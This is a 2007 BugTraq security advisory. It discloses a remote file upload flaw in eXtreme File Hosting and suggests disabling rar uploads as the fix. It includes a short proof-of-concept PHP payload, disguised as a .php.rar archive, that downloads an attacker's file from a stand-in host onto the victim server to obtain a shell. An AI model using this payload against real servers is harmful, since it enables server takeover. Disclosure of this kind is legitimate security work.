BugTraq
eXtreme File Hosting remote file upload vulnerability Feb 09 2007 09:08AM
hamed bazargani gmail com
A security bug have been discovered in eXtreme File Hosting, which can be upload the attaker files and can get the shell with phpshell.

bug : in this borgram with php can user upload zip or rar file hacker can upload the a.php.rar file that contain

###########################
<?php
$file = 'http://sample.com/evile_file.php';
$newfile = 'evile_file.php';
if (!copy($file, $newfile)) {
echo "failed to copy $file...\n";
}else{
echo "OK file copy in victim host";
}
?>
###########################

and upload it the click in download link then this file run and dont download
after run a.php.rar the evile_file.php copy in victim host and attacker can use for hacking server.

Solution: disable rar file uploading in setting
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
software: eXtreme File Hosting
site: http://www.extremepow.com
Reported By: : hamed bazargani (hamed.bazargani (at) gmail (dot) com [email concealed]) From I.R.IRAN and all iranian whitehat hacker

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus